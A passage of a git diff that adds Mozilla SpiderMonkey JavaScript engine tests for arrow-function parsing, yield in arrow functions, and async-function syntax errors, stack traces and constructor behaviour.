+var c = 0 ? 1 : a => {}
+/Q/g;
+assertEq(typeof c, "function");
+delete Function.prototype.c;
+
+assertEq(typeof eval(0 ? 1 : a => {}), "function");
+
+var zoom = 1 ? a => {} : 357;
+assertEq(typeof zoom, "function");
+
+var { b = 0 ? 1 : a => {} } = {};
+assertEq(typeof b, "function");
+
+var [k = 0 ? 1 : a => {}] = [];
+assertEq(typeof k, "function");
+
+assertEq(typeof [0 ? 1 : a => {}][0], "function");
+
+Function.prototype[Symbol.iterator] = function() { return { next() { return { done: true }; } }; };
+assertEq([...0 ? 1 : a => {}].length, 0);
+delete Function.prototype[Symbol.iterator];
+
+var props = Object.getOwnPropertyNames({ ...0 ? 1 : a => {} }).sort();
+assertEq(props.length, 0);
+
+function f1(x = 0 ? 1 : a => {}) { return x; }
+assertEq(typeof f1(), "function");
+assertEq(f1(5), 5);
+
+var g1 = (x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof g1(), "function");
+assertEq(g1(5), 5);
+
+var h1 = async (x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof h1, "function");
+
+function f2(m, x = 0 ? 1 : a => {}) { return x; }
+assertEq(typeof f2(1), "function");
+assertEq(f2(1, 5), 5);
+
+var g2 = (m, x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof g2(1), "function");
+assertEq(g2(1, 5), 5);
+
+var h2 = async (m, x = 0 ? 1 : a => {}) => { return x; };
+assertEq(typeof h2, "function");
+
+function f3(x = 0 ? 1 : a => {}, q) { return x; }
+assertEq(typeof f3(), "function");
+assertEq(f3(5), 5);
+
+var g3 = (x = 0 ? 1 : a => {}, q) => { return x; };
+assertEq(typeof g3(), "function");
+assertEq(g3(5), 5);
+
+var h3 = async (x = 0 ? 1 : a => {}, q) => { return x; };
+assertEq(typeof h3, "function");
+
+var asyncf = async () => {};
+assertEq(typeof asyncf, "function");
+
+var { [0 ? 1 : a => {}]: h } = { "a => {}": "boo-urns!" };
+assertEq(h, "boo-urns!");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js b/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js
new file mode 100644
index 0000000000..8a53074e3d
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/arrow-returning-arrow-with-block-body-followed-by-regexp.js
@@ -0,0 +1,15 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function t()
+{
+ var x = y => z => {} // ASI occurs here
+ /Q/;
+ return 42;
+}
+
+assertEq(t(), 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/arrow-functions/browser.js b/js/src/tests/non262/arrow-functions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/browser.js
diff --git a/js/src/tests/non262/arrow-functions/shell.js b/js/src/tests/non262/arrow-functions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/shell.js
diff --git a/js/src/tests/non262/arrow-functions/yield-in-arrow.js b/js/src/tests/non262/arrow-functions/yield-in-arrow.js
new file mode 100644
index 0000000000..8b849a1c88
--- /dev/null
+++ b/js/src/tests/non262/arrow-functions/yield-in-arrow.js
@@ -0,0 +1,77 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const yieldInParameters = [
+ `(a = yield) => {}`,
+ `(a = yield /a/g) => {}`, // Should parse as division, not yield expression with regexp.
+ `yield => {};`,
+ `(yield) => {};`,
+ `(yield = 0) => {};`,
+ `([yield]) => {};`,
+ `([yield = 0]) => {};`,
+ `([...yield]) => {};`,
+ `({a: yield}) => {};`,
+ `({yield}) => {};`,
+ `({yield = 0}) => {};`,
+];
+
+const yieldInBody = [
+ `() => yield;`,
+ `() => yield /a/g;`,
+ `() => { var x = yield; }`,
+ `() => { var x = yield /a/g; }`,
+
+ `() => { var yield; };`,
+ `() => { var yield = 0; };`,
+ `() => { var [yield] = []; };`,
+ `() => { var [yield = 0] = []; };`,
+ `() => { var [...yield] = []; };`,
+ `() => { var {a: yield} = {}; };`,
+ `() => { var {yield} = {}; };`,
+ `() => { var {yield = 0} = {}; };`,
+
+ `() => { let yield; };`,
+ `() => { let yield = 0; };`,
+ `() => { let [yield] = []; };`,
+ `() => { let [yield = 0] = []; };`,
+ `() => { let [...yield] = []; };`,
+ `() => { let {a: yield} = {}; };`,
+ `() => { let {yield} = {}; };`,
+ `() => { let {yield = 0} = {}; };`,
+
+ `() => { const yield = 0; };`,
+ `() => { const [yield] = []; };`,
+ `() => { const [yield = 0] = []; };`,
+ `() => { const [...yield] = []; };`,
+ `() => { const {a: yield} = {}; };`,
+ `() => { const {yield} = {}; };`,
+ `() => { const {yield = 0} = {}; };`,
+];
+
+
+// Script context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(test);
+ assertThrowsInstanceOf(() => eval(`"use strict"; ${test}`), SyntaxError);
+}
+
+// Function context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(`function f() { ${test} }`);
+ assertThrowsInstanceOf(() => eval(`"use strict"; function f() { ${test} }`), SyntaxError);
+}
+
+// Generator context.
+for (let test of yieldInParameters) {
+ assertThrowsInstanceOf(() => eval(`function* g() { ${test} }`), SyntaxError);
+}
+for (let test of yieldInBody) {
+ eval(`function* g() { ${test} }`);
+}
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ assertThrowsInstanceOf(() => eval(`"use strict"; function* g() { ${test} }`), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/async-functions/BoundNames.js b/js/src/tests/non262/async-functions/BoundNames.js
new file mode 100644
index 0000000000..a366334da1
--- /dev/null
+++ b/js/src/tests/non262/async-functions/BoundNames.js
@@ -0,0 +1,21 @@
+var BUGNUMBER = 1185106;
+var summary = "Bound names of async functions";
+
+print(BUGNUMBER + ": " + summary);
+
+async function test() {}
+assertEq(test.name, "test");
+
+var test2 = (async function test2() {});
+assertEq(test2.name, "test2");
+
+var anon = async function() {};
+assertEq(anon.name, "anon");
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ var tree = Reflect.parse("export default async function() {}", { target: "module" });
+ assertEq(tree.body[0].declaration.id.name, "default");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/EarlyErrors.js b/js/src/tests/non262/async-functions/EarlyErrors.js
new file mode 100644
index 0000000000..eeac4b2541
--- /dev/null
+++ b/js/src/tests/non262/async-functions/EarlyErrors.js
@@ -0,0 +1,51 @@
+var BUGNUMBER = 1185106;
+var summary = "EarlyErrors for async function";
+
+print(BUGNUMBER + ": " + summary);
+
+function assertThrowsSE(code) {
+ assertThrowsInstanceOf(() => Reflect.parse(code), SyntaxError);
+}
+
+if (typeof Reflect !== "undefined" && Reflect.parse) {
+ // If FormalParameters Contains AwaitExpression is true.
+ assertThrowsSE("async function a(k = await 3) {}");
+ assertThrowsSE("(async function(k = await 3) {})");
+ assertThrowsSE("(async function a(k = await 3) {})");
+
+ // If BindingIdentifier is `eval` or `arguments`.
+ assertThrowsSE("'use strict'; async function eval() {}");
+ assertThrowsSE("'use strict'; (async function eval() {})");
+
+ assertThrowsSE("'use strict'; async function arguments() {}");
+ assertThrowsSE("'use strict'; (async function arguments() {})");
+
+ // If any element of the BoundNames of FormalParameters also occurs in the
+ // LexicallyDeclaredNames of AsyncFunctionBody.
+ assertThrowsSE("async function a(x) { let x; }");
+ assertThrowsSE("(async function(x) { let x; })");
+ assertThrowsSE("(async function a(x) { let x; })");
+
+ // If FormalParameters contains SuperProperty is true.
+ assertThrowsSE("async function a(k = super.prop) { }");
+ assertThrowsSE("(async function(k = super.prop) {})");
+ assertThrowsSE("(async function a(k = super.prop) {})");
+
+ // If AsyncFunctionBody contains SuperProperty is true.
+ assertThrowsSE("async function a() { super.prop(); }");
+ assertThrowsSE("(async function() { super.prop(); })");
+ assertThrowsSE("(async function a() { super.prop(); })");
+
+ // If FormalParameters contains SuperCall is true.
+ assertThrowsSE("async function a(k = super()) {}");
+ assertThrowsSE("(async function(k = super()) {})");
+ assertThrowsSE("(async function a(k = super()) {})");
+
+ // If AsyncFunctionBody contains SuperCall is true.
+ assertThrowsSE("async function a() { super(); }");
+ assertThrowsSE("(async function() { super(); })");
+ assertThrowsSE("(async function a() { super(); })");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/ErrorStack.js b/js/src/tests/non262/async-functions/ErrorStack.js
new file mode 100644
index 0000000000..9f3adc4f72
--- /dev/null
+++ b/js/src/tests/non262/async-functions/ErrorStack.js
@@ -0,0 +1,103 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1343158;
+var summary = "Error.stack should provide meaningful stack trace in async function";
+
+print(BUGNUMBER + ": " + summary);
+
+let COOKIE = "C0F5DBB89807";
+
+async function thrower() {
+ let stack = new Error().stack; // line 11
+ assertEq(/^thrower@.+ErrorStack.js:11/m.test(stack), true, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:38/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ throw new Error(COOKIE); // line 18
+}
+
+async function inner() {
+ let stack = new Error().stack; // line 22
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:22/m.test(stack), true, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(100);
+
+ stack = new Error().stack; // line 31
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:31/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await thrower(); // line 38
+}
+
+async function middle() {
+ let stack = new Error().stack; // line 42
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:42/m.test(stack), true, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(1000);
+
+ stack = new Error().stack; // line 51
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^middle@.+ErrorStack.js:51/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await inner(); // line 58
+}
+
+async function outer() {
+ let stack = new Error().stack; // line 62
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/middle@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:62/m.test(stack), true, toMessage(stack));
+ assertEq(/^@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await Promise.resolve(10000);
+
+ stack = new Error().stack; // line 71
+ assertEq(/thrower@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/inner@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/middle@.+ErrorStack.js/m.test(stack), false, toMessage(stack));
+ assertEq(/^outer@.+ErrorStack.js:71/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+
+ await middle(); // line 78
+}
+
+try {
+ getPromiseResult(outer()); // line 82
+ assertEq(true, false);
+} catch (e) {
+ // Re-throw the exception to log the assertion failure properly.
+ if (!e.message.includes(COOKIE))
+ throw e;
+
+ let stack = e.stack;
+ assertEq(/^thrower@.+ErrorStack.js:18/m.test(stack), true, toMessage(stack));
+ assertEq(/^inner@.+ErrorStack.js:38/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*middle@.+ErrorStack.js:58/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*outer@.+ErrorStack.js:78/m.test(stack), true, toMessage(stack));
+ assertEq(/^async\*@.+ErrorStack.js:82/m.test(stack), true, toMessage(stack));
+}
+
+function toMessage(stack) {
+ // Provide the stack string in the error message for debugging.
+ return `[stack: ${stack.replace(/\n/g, "\\n")}]`;
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/arguments_callee.js b/js/src/tests/non262/async-functions/arguments_callee.js
new file mode 100644
index 0000000000..2a577e0b9d
--- /dev/null
+++ b/js/src/tests/non262/async-functions/arguments_callee.js
@@ -0,0 +1,31 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1185106;
+var summary = "arguments.callee in sloppy mode should return wrapped function";
+
+print(BUGNUMBER + ": " + summary);
+
+async function decl1() {
+ return arguments.callee;
+}
+assertEventuallyEq(decl1(), decl1);
+
+var expr1 = async function foo() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr1(), expr1);
+
+var expr2 = async function() {
+ return arguments.callee;
+};
+assertEventuallyEq(expr2(), expr2);
+
+var obj = {
+ async method1() {
+ return arguments.callee;
+ }
+};
+assertEventuallyEq(obj.method1(), obj.method1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/async-contains-unicode-escape.js b/js/src/tests/non262/async-functions/async-contains-unicode-escape.js
new file mode 100644
index 0000000000..d53dff696c
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-contains-unicode-escape.js
@@ -0,0 +1,54 @@
+var BUGNUMBER = 1315815;
+var summary = "async/await containing escapes";
+
+print(BUGNUMBER + ": " + summary);
+
+// Using "eval" as the argument name is fugly, but it means evals below are
+// *direct* evals, and so their effects in the unescaped case won't extend
+// past each separate |test| call (as would happen if we used a different name
+// that made each eval into an indirect eval, affecting code in the global
+// scope).
+function test(code, eval)
+{
+ var unescaped = code.replace("###", "async");
+ var escaped = code.replace("###", "\\u0061");
+
+ assertThrowsInstanceOf(() => eval(escaped), SyntaxError);
+ eval(unescaped);
+}
+
+test("### function f() {}", eval);
+test("var x = ### function f() {}", eval);
+test("### x => {};", eval);
+test("var x = ### x => {}", eval);
+test("### () => {};", eval);
+test("var x = ### () => {}", eval);
+test("### (y) => {};", eval);
+test("var x = ### (y) => {}", eval);
+test("({ ### x() {} })", eval);
+test("var x = ### function f() {}", eval);
+
+if (typeof parseModule === "function")
+ test("export default ### function f() {}", parseModule);
+
+assertThrowsInstanceOf(() => eval("async await => 1;"),
+ SyntaxError);
+assertThrowsInstanceOf(() => eval("async aw\\u0061it => 1;"),
+ SyntaxError);
+
+var async = 0;
+assertEq(\u0061sync, 0);
+
+var obj = { \u0061sync() { return 1; } };
+assertEq(obj.async(), 1);
+
+async = function() { return 42; };
+
+var z = async(obj);
+assertEq(z, 42);
+
+var w = async(obj)=>{};
+assertEq(typeof w, "function");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js b/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js
new file mode 100644
index 0000000000..41cc37bf33
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-function-declaration-in-modules.js
@@ -0,0 +1,13 @@
+// |reftest| module
+
+async function f() {
+ return "success";
+}
+
+var AsyncFunction = (async function(){}).constructor;
+
+assertEq(f instanceof AsyncFunction, true);
+
+f().then(v => {
+ reportCompare("success", v);
+});
diff --git a/js/src/tests/non262/async-functions/async-property-name-error.js b/js/src/tests/non262/async-functions/async-property-name-error.js
new file mode 100644
index 0000000000..926794e5d0
--- /dev/null
+++ b/js/src/tests/non262/async-functions/async-property-name-error.js
@@ -0,0 +1,21 @@
+function assertSyntaxError(code) {
+ assertThrowsInstanceOf(() => { Function(code); }, SyntaxError, "Function:" + code);
+ assertThrowsInstanceOf(() => { eval(code); }, SyntaxError, "eval:" + code);
+ var ieval = eval;
+ assertThrowsInstanceOf(() => { ieval(code); }, SyntaxError, "indirect eval:" + code);
+}
+
+assertSyntaxError(`({async async: 0})`);
+assertSyntaxError(`({async async})`);
+assertSyntaxError(`({async async, })`);
+assertSyntaxError(`({async async = 0} = {})`);
+
+for (let decl of ["var", "let", "const"]) {
+ assertSyntaxError(`${decl} {async async: a} = {}`);
+ assertSyntaxError(`${decl} {async async} = {}`);
+ assertSyntaxError(`${decl} {async async, } = {}`);
+ assertSyntaxError(`${decl} {async async = 0} = {}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-error.js b/js/src/tests/non262/async-functions/await-error.js
new file mode 100644
index 0000000000..6fa6143efc
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-error.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1317153;
+var summary = "await outside of async function should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("await 10");
+} catch(e) {
+ assertEq(e.message.includes("await is only valid in"), true);
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-in-arrow-parameters.js b/js/src/tests/non262/async-functions/await-in-arrow-parameters.js
new file mode 100644
index 0000000000..ebb4ea9dac
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-in-arrow-parameters.js
@@ -0,0 +1,94 @@
+var ieval = eval;
+var AsyncFunction = async function(){}.constructor;
+
+var functionContext = {
+ Function: {
+ constructor: Function,
+ toSourceBody: code => `function f() { ${code} }`,
+ toSourceParameter: code => `function f(x = ${code}) { }`,
+ },
+ AsyncFunction: {
+ constructor: AsyncFunction,
+ toSourceBody: code => `async function f() { ${code} }`,
+ toSourceParameter: code => `async function f(x = ${code}) { }`,
+ },
+};
+
+function assertSyntaxError(kind, code) {
+ var {constructor, toSourceBody, toSourceParameter} = functionContext[kind];
+ var body = toSourceBody(code);
+ var parameter = toSourceParameter(code);
+
+ assertThrowsInstanceOf(() => { constructor(code); }, SyntaxError, constructor.name + ":" + code);
+ assertThrowsInstanceOf(() => { constructor(`x = ${code}`, ""); }, SyntaxError, constructor.name + ":" + code);
+
+ assertThrowsInstanceOf(() => { eval(body); }, SyntaxError, "eval:" + body);
+ assertThrowsInstanceOf(() => { ieval(body); }, SyntaxError, "indirect eval:" + body);
+
+ assertThrowsInstanceOf(() => { eval(parameter); }, SyntaxError, "eval:" + parameter);
+ assertThrowsInstanceOf(() => { ieval(parameter); }, SyntaxError, "indirect eval:" + parameter);
+}
+
+function assertNoSyntaxError(kind, code) {
+ var {constructor, toSourceBody, toSourceParameter} = functionContext[kind];
+ var body = toSourceBody(code);
+ var parameter = toSourceParameter(code);
+
+ constructor(code);
+ constructor(`x = ${code}`, "");
+
+ eval(body);
+ ieval(body);
+
+ eval(parameter);
+ ieval(parameter);
+}
+
+function assertSyntaxErrorAsync(code) {
+ assertNoSyntaxError("Function", code);
+ assertSyntaxError("AsyncFunction", code);
+}
+
+function assertSyntaxErrorBoth(code) {
+ assertSyntaxError("Function", code);
+ assertSyntaxError("AsyncFunction", code);
+}
+
+
+// Bug 1353691
+// |await| expression is invalid in arrow functions in async-context.
+// |await/r/g| first parses as |AwaitExpression RegularExpressionLiteral|, when reparsing the
+// arrow function, it is parsed as |IdentRef DIV IdentRef DIV IdentRef|. We need to ensure in this
+// case, that we still treat |await| as a keyword and hence throw a SyntaxError.
+assertSyntaxErrorAsync("(a = await/r/g) => {}");
+assertSyntaxErrorBoth("async(a = await/r/g) => {}");
+
+// Also applies when nesting arrow functions.
+assertSyntaxErrorAsync("(a = (b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(b = await/r/g) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(b = await/r/g) => {}) => {}");
+
+
+// Bug 1355860
+// |await| cannot be used as rest-binding parameter in arrow functions in async-context.
+assertSyntaxErrorAsync("(...await) => {}");
+assertSyntaxErrorBoth("async(...await) => {}");
+
+assertSyntaxErrorAsync("(a, ...await) => {}");
+assertSyntaxErrorBoth("async(a, ...await) => {}");
+
+// Also test nested arrow functions.
+assertSyntaxErrorAsync("(a = (...await) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(...await) => {}) => {}");
+
+assertSyntaxErrorAsync("(a = (b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("(a = async(b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = (b, ...await) => {}) => {}");
+assertSyntaxErrorBoth("async(a = async(b, ...await) => {}) => {}");
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js b/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js
new file mode 100644
index 0000000000..ef4b84d99b
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-in-parameters-of-async-func.js
@@ -0,0 +1,67 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1478910;
+var summary = 'JSMSG_AWAIT_IN_PARAMETER error for incomplete await expr in async function/generator parameter';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ let testAwaitInDefaultExprOfAsyncFunc = (code) => {
+ assertThrowsInstanceOf(() => eval(code), SyntaxError, "await expression can't be used in parameter");
+ };
+
+ let testNoException = (code) => {
+ assertEq(completesNormally(code), true);
+ };
+
+ // https://www.ecma-international.org/ecma-262/9.0/
+
+ // Async Generator Function Definitions : AsyncGeneratorDeclaration & AsyncGeneratorExpression
+ // async function* f() {}
+ // f = async function*() {}
+ testAwaitInDefaultExprOfAsyncFunc("async function* f(a = await) {}");
+ testAwaitInDefaultExprOfAsyncFunc("let f = async function*(a = await) {}");
+
+ testAwaitInDefaultExprOfAsyncFunc("function f(a = async function*(a = await) {}) {}");
+ testAwaitInDefaultExprOfAsyncFunc("function f() { a = async function*(a = await) {}; }");
+
+ testAwaitInDefaultExprOfAsyncFunc("async function* f() { a = async function*(a = await) {}; }");
+ testNoException("async function* f() { let a = function(a = await) {}; }");
+
+ testNoException("async function* f(a = async function*() { await 1; }) {}");
+
+ // Async Function Definitions : AsyncFunctionDeclaration & AsyncFunctionExpression
+ // async function f() {}
+ // f = async function() {}
+ testAwaitInDefaultExprOfAsyncFunc("async function f(a = await) {}");
+ testAwaitInDefaultExprOfAsyncFunc("let f = async function(a = await) {}");
+
+ testAwaitInDefaultExprOfAsyncFunc("function f(a = async function(a = await) {}) {}");
+ testAwaitInDefaultExprOfAsyncFunc("function f() { a = async function(a = await) {}; }");
+
+ testAwaitInDefaultExprOfAsyncFunc("async function f() { a = async function(a = await) {}; }");
+ testNoException("async function f() { let a = function(a = await) {}; }");
+
+ testNoException("async function f(a = async function() { await 1; }) {}");
+
+ // Async Arrow Function Definitions : AsyncArrowFunction
+ // async () => {}
+ testAwaitInDefaultExprOfAsyncFunc("async (a = await) => {}");
+
+ testNoException("async (a = async () => { await 1; }) => {}");
+
+ reportCompare(true, true, summary);
+}
diff --git a/js/src/tests/non262/async-functions/await-newline.js b/js/src/tests/non262/async-functions/await-newline.js
new file mode 100644
index 0000000000..dc42fa481a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/await-newline.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs drainJobQueue
+
+var BUGNUMBER = 1331009;
+var summary = "Newline is allowed between await and operand";
+
+print(BUGNUMBER + ": " + summary);
+
+var expr = async function foo() {
+ return await
+ 10;
+};
+assertEventuallyEq(expr(), 10);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/browser.js b/js/src/tests/non262/async-functions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/async-functions/browser.js
diff --git a/js/src/tests/non262/async-functions/clone.js b/js/src/tests/non262/async-functions/clone.js
new file mode 100644
index 0000000000..42d4b883df
--- /dev/null
+++ b/js/src/tests/non262/async-functions/clone.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs cloneAndExecuteScript, drainJobQueue
+
+// Async function source code scripts can be cloned.
+let g = newGlobal();
+cloneAndExecuteScript(`
+async function f() {
+ var a = await 1;
+ var b = await 2;
+ var c = await 3;
+ return a + b + c;
+}
+var V;
+f().then(v => V = v);
+drainJobQueue();
+`, g);
+assertEq(g.V, 6);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/async-functions/construct-newtarget.js b/js/src/tests/non262/async-functions/construct-newtarget.js
new file mode 100644
index 0000000000..7d75d0c939
--- /dev/null
+++ b/js/src/tests/non262/async-functions/construct-newtarget.js
@@ -0,0 +1,79 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const AsyncFunction = async function(){}.constructor;
+
+
+// Test subclassing %AsyncFunction% works correctly.
+class MyAsync extends AsyncFunction {}
+
+var fn = new MyAsync();
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+fn = Reflect.construct(MyAsync, []);
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+fn = Reflect.construct(MyAsync, [], MyAsync);
+assertEq(fn instanceof MyAsync, true);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), MyAsync.prototype);
+
+fn = Reflect.construct(MyAsync, [], AsyncFunction);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+// Set a different constructor as NewTarget.
+fn = Reflect.construct(MyAsync, [], Array);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+fn = Reflect.construct(AsyncFunction, [], Array);
+assertEq(fn instanceof AsyncFunction, false);
+assertEq(Object.getPrototypeOf(fn), Array.prototype);
+
+
+// The prototype defaults to %AsyncFunctionPrototype% if null.
+function NewTargetNullPrototype() {}
+NewTargetNullPrototype.prototype = null;
+
+fn = Reflect.construct(AsyncFunction, [], NewTargetNullPrototype);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+fn = Reflect.construct(MyAsync, [], NewTargetNullPrototype);
+assertEq(fn instanceof MyAsync, false);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+// "prototype" property is retrieved exactly once.
+var trapLog = [], getLog = [];
+var ProxiedConstructor = new Proxy(AsyncFunction, new Proxy({
+ get(target, propertyKey, receiver) {
+ getLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}, {
+ get(target, propertyKey, receiver) {
+ trapLog.push(propertyKey);
+ return Reflect.get(target, propertyKey, receiver);
+ }
+}));
+
+fn = Reflect.construct(AsyncFunction, [], ProxiedConstructor);
+assertEqArray(trapLog, ["get"]);
+assertEqArray(getLog, ["prototype"]);
+assertEq(fn instanceof AsyncFunction, true);
+assertEq(Object.getPrototypeOf(fn), AsyncFunction.prototype);
+
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/async-functions/constructor.js b/js/src/tests/non262/async-functions/constructor.js
new file mode 100644
index 0000000000..ccacb4363a
--- /dev/null
+++ b/js/src/tests/non262/async-functions/constructor.js
@@ -0,0 +1,33 @@
